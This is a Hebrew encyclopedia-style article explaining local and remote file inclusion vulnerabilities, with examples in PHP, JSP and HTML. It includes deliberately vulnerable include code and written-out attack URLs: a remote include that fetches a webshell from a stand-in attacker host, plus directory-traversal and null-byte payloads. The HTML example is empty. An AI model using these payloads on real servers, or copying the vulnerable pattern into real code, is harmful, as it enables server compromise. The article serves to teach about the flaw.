File Inclusion

הכללת קבצים (אנגלית: File Inclusion) היא פגיעות ביישומי אינטרנט לא מבוקרים המסתמכים על זמן ריצה של סקריפט. בעזרת הפגיעות יכול התוקף להחדיר קוד אל שרת אינטרנט ולהריצו באופן מקומי או מרוחק.

הפגיעות מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול, אך הקלט אינו מסונן ומאומת כראוי. במידה ומבוצע אימות, היישום אינו פגיע אך במידה ולא מבוצע אימות, ניתן לשנות את מבנה הנתיב ולגרום לתוכנית לבצע פעולות לא מתוכננות כגון: מעבר בין סיפריות (Directory Traversal), טעינה והרצת קבצים זדוניים, צפייה בקבצים חסויים הדלפת מידע רגיש ועוד. 

פגיעות זו עשויה להוות בסיס להתקפות נוספות כגון:
* מניעת שירות (Dos).
* הזרקת קוד זדוני אל היישום (XSS).
* הזרקות קוד אל שרת האינטרנט.

== סוגים ==
ישנם 2 סוגי הכללות קבצים:
* הכללת קבצים מקומית (LFI - Local File Inclusion): תהליך של הכללת קבצים שכבר קיימים באופן מקומי בשרת, מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול אך הקלט אינו מסונן ומאומת כראוי, מאפשר הזרקת תווים במקום הקלט המקורי ומקנה לתוקף לבצע פעולות שונות כגון: צפייה בתכנים, מעבר בין סיפריות בעזרת /.. ועוד.
* הכללת קבצים מרוחקת (RFI - Remote File Inclusion): תהליך של הכללת קבצים מרוחקים, מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול, אך הקלט אינו מסונן ומאומת כראוי ומאפשר הזרקת כתובת חיצונית והפעלת קבצים מרוחקים במקום הקלט המקורי.

== שימוש ==

=== PHP ===
בדוגמה שלהלן, פגיעות ביישום הכתוב בשפת PHP:

פונקציית ()include מייבאת את הקובץ הרצוי, במידה והוא קיים מציגה אותו למשתמש.

כדי לנצל את הפגיעות התוקף יחליף משתנה אחד כדי לגרום לו לכלול קוד זדוני מרוחק. כדי למנוע את הפגיעות, יש לאמת את קלט לפני השימוש בו.<syntaxhighlight lang="php">
<?php
 if ( isset( $_GET['language'] ) ) {
 include( $_GET['language'] . '.php' );
 }
?>
</syntaxhighlight><syntaxhighlight lang="html">
<form method="get">
 <select name="language">
 <option value="english">English</option>
 <option value="french">French</option>
 ...
 </select>
 <input type="submit">
</form>
</syntaxhighlight>הערכים english.php ,french.php, ישנו את התנהגות היישום בהתאם לשפת המשתמש שנבחרה, אך במקומם ניתן להזריק קוד שונה:

הכללת קבצים מרוחקת (RFI):<syntaxhighlight lang="php">
/vulnerable.php?language=http://evil.example.com/webshell.txt?
</syntaxhighlight>הכללת קבצים מקומית (LFI):<syntaxhighlight lang="php">
/vulnerable.php?language=C:\\ftp\\upload\\exploit
</syntaxhighlight>שימוש בתו Null-Byte: המתעלם מהסיומת ה-PHP ומאפשרת גישה אל קבצים שאינם PHP (תוקן בגרסת PHP 5.3).<syntaxhighlight lang="php">
/vulnerable.php?language=C:\\notes.txt%00
</syntaxhighlight>מעבר בין ספריות (Directory Traversal): כדי לגשת אל קובץ passwd במערכות UNIX.<syntaxhighlight lang="php">
/vulnerable.php?language=../../../../../etc/os-release%00
</syntaxhighlight>

=== JavaServer Pages ===
בדוגמה שלהלן פגיעות בקוד JSP, שפת סקריפטים אשר יכולה לכלול קבצים בזמן ריצה:<syntaxhighlight lang="jsp">
<%
 String p = request.getParameter("p");
 @include file="<%="includes/" + p +".jsp"%>"
%>
</syntaxhighlight>בניגוד לשפת PHP, שפת JSP עדיין מושפעת מהזרקות Null Byte והפרמטר שלהלן יבצע פקודות JSP שנמצאות ביומן הגישה של שרת האינטרנט.<syntaxhighlight lang="jsp">
/vulnerable.jsp?p=../../../../var/log/access.log%00
</syntaxhighlight>

=== HTML Server-Side Includes ===
בדוגמה שלהלן פגיעות בקוד HTML החשוף לפגיעות של הכללת קבצים מרוחקת (RFI):<syntaxhighlight lang="html">
<HTML>

<TITLE>Test File</TITLE>


</HTML>
</syntaxhighlight>

== ראו גם ==
* CSRF
* XSS
* Directory Traversal
* הזרקת SQL
*

== קישורים חיצוניים ==

*מידע על הכללת קבצים מרוחקת באתר Owasp {{אנגלית}}

* מידע על הכללת מקומית באתר Owasp {{אנגלית}}

* [https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/ מידע על הכללת קבצים מקומית באתר Acunetix] 

קטגוריה:אבטחת מחשבים
קטגוריה:האקינג